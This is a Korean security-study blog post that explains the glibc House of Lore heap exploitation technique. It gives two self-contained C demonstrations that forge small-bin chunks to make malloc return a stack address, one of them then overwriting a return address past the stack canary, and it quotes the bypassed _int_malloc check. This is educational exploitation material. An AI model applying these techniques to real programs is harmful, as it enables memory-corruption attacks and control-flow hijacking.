house_of_lore
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
void jackpot(){ puts("Nice jump d00d"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
printf("nWelcome to the House of Lore\\n");
printf("This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n");
printf("This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23n\\n");
printf("Allocating the victim chunk\\n");
intptr_t *victim = malloc(0x80);
printf("Allocated the first small chunk on the heap at %p\\n", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;
printf("stack_buffer_1 at %p stack_buffer_1[1] at %p\\n", (void*)stack_buffer_1,(void*)&stack_buffer_1[1]);
printf("stack_buffer_2 at %p stack_buffer_2[1] at %p\\n", (void*)stack_buffer_2,(void*)&stack_buffer_2[1]);
printf("Create a fake chunk on the stack\\n");
printf("Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted "
"in second to the last malloc, which putting stack address on smallbin list\\n");
stack_buffer_1[2] = victim_chunk; // fd
printf("Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack\\n");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2; //bk
stack_buffer_2[2] = (intptr_t*)stack_buffer_1; // fd
printf("Allocating another large chunk in order to avoid consolidating the top chunk with "
"the small one during the free()\\n");
void *p5 = malloc(1000);
printf("Allocated the large chunk on the heap at %p\\n", p5);
printf("Freeing the chunk %p, it will be inserted in the unsorted bin\\n", victim);
free((void*)victim);
printf("nIn the unsorted bin the victim's fwd and bk pointers are nil\\n");
printf("victim->fwd: %p\\n", (void *)victim[0]);
printf("victim->bk: %pn\\n", (void *)victim[1]);
printf("Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n");
printf("This means that the chunk %p will be inserted in front of the SmallBin\\n", victim);
void *p2 = malloc(1200);
printf("The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n", p2);
printf("The victim chunk has been sorted and its fwd and bk pointers updated\\n");
printf("victim->fwd: %p\\n", (void *)victim[0]);
printf("victim->bk: %pn\\n", (void *)victim[1]);
//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->bk pointer\\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
printf("Now allocating a chunk with size equal to the first one freed\\n");
printf("This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n");
void *p3 = malloc(0x80);
printf("p3 = %p\\n",p3 );
printf("This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n");
char *p4 = malloc(0x80);
printf("p4 = malloc(0x80)\\n");
printf("nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n",
stack_buffer_2[2]);
printf("np4 is %p and should be on the stack!\\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
}
house of lore
결론: small bin 을 할당할 수 있을 때 임의의 주소에 heap 할당 가능
단, fake chunk를 2개 만들 수 있고 small bin 크기의 청크를 해제와 할당을 자유롭게 할 수 있어야함.
—>smallbin의 bk→ fd 검증 우회 시 binlist 에 bk 가 들어가는 점을 활용.
(웃긴점, size 검사 또한 하지 않아 fake청크에서 size를 입력하지 않아도 된다. 즉 fd, bk 컨트롤만 되면 됨)
House of Lore 는 _int_malloc 함수의 코드중
if (in_smallbin_range (nb))
{
idx = smallbin_index (nb);
bin = bin_at (av, idx);
if ((victim = last (bin)) != bin)
{
if (victim == 0) /* initialization check */
malloc_consolidate (av);
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim))
{
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
...
}
}
}
: 해당 기법은 small bin 크기의 힙이 존재할 때 bck-fd( 이전 청크의 fd 값) 을 조작하여 Heap Chunk 를 조작하는 방법이다.
우회 순서
- smallbin 크기의 힙을 할당해야 합니다.
- smallbin 에서 제일 마지막에 있는 Heap Chunk의 포인터를 가져와 할당하려는 힙과 같은 bin인지를 확인하고, 같은 bin 이라면 "malloc(): memory corruption" 에러를 출력하고 비정상 종료합니다.
- victim->bk->fd 가 현재 할당되려는 victim 주소와 다르면 "malloc:() smallbin double linked list corrupted" 에러를 출력하고 비정상 종료합니다.
위 조건들이 충족하면 임의의 주소에 힙을 할당 있다.
Fake Chunk 구성 (우회를 위한)
Ex..)
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main()
{
uint64_t *ptr1, *ptr2, *ptr3, *top;
uint64_t *fake1, *fake2;
uint64_t fake_chunk[4];
uint64_t fake_chunk2[3];
fprintf(stderr, "fake_chunk: %p\\n", fake_chunk);
fprintf(stderr, "fake_chunk2: %p\\n", fake_chunk2);
ptr1 = malloc(0x100);
ptr2 = malloc(0x100);
ptr3 = malloc(0x100);
fprintf(stderr, "ptr1: %p\\n", ptr1);
fprintf(stderr, "ptr2: %p\\n", ptr2);
fprintf(stderr, "ptr3: %p\\n", ptr3);
free(ptr1);
free(ptr3);
top = malloc(0x110);
fake_chunk[0] = 0; //prev size
fake_chunk[1] = 0x0; //size
fake_chunk[2] = (uint64_t)ptr1 - 0x10; //fd
ptr1[1] = (uint64_t)&fake_chunk; //bk
fake1 = malloc(0x100);
fake_chunk[3] = (uint64_t)&fake_chunk2; //bk
fake_chunk2[2] = (uint64_t)&fake_chunk; //fd
fake2 = malloc(0x100); //victim malloc2
fprintf(stderr, "fake1: %p\\n", fake1);
fprintf(stderr, "fake2: %p\\n", fake2);
return 0;
}
다음과 같은 형태로 만들어 주면 fake_chunk (임의의 주소) 에 힙을 할당 받을 수 있다.
- top chunk ..
Top Chunk는 메모리 끝 부분에 위치한 청크를 뜻한다. 이는 어떠한 bin에도 속하지 않고 다음과 같이 top 청크를 활용한다.
- 사용자가 요청한 사이즈를 처리할 적당한 청크를 어떠한 bin에서도 찾을 수 없을때
: 이런 경우 top청크를 확인한다. 요청 사이즈가 현재 top 청크 크기보다 작을 경우, top 청크를 분할하여 할당해준다
- 사용자가 요청한 사이즈를 처리할 적당한 청크를 어떠한 bin에서도 찾을 수 없고, 현재 top 청크 사이보다 요청 사이즈가 더 클때
- 2가지의 형태로 작동한다. 1. top chunk < 요청 사이즈 < 128 kb 이런 경우 main_arena는 sysmalloc 함수를 통해 sbrk syscall을 호출하여 확장시키고 thread_arena는 mmap으로 확장시킨다 2. top chunk < 128kb < 요청 사이즈 main_arena, thread_arena 둘다 mmap으로 확장시킨다.
- fast bin 을 제외하고 모든 bin(small, unsorted)들은 top 청크 바로 이전 청크가 해제된 경우, top 청크와 병합하는데, 병합된 top 청크가 m_trim_threshold라는 내부적인 특정 임계값 보다 커졌다면, top 청크를 축소한다
(Ref. https://jeongzero.oopy.io/c2d97ae0-eecb-4ed9-a247-a5eec5cc103d#9bf301a2-f69e-4172-84e3-a08e5c1ac46d) 까망눈 연구소
(혹시 부족한 점이나 틀린 점 있다면 댓글 달아주세요! 바로 수정하겠습니다.!!)
'Pwnable > Tech' 카테고리의 다른 글
Stack pivoting (2) | 2023.02.18 |
---|---|
FSB 란 무엇인가 (0) | 2023.02.18 |
OOB - Out of Bounds (0) | 2022.02.14 |
SHA - Master Canary (0) | 2022.02.11 |
SHA - SECCOMP(Sandbox), Bypass SECCOMP (0) | 2022.02.10 |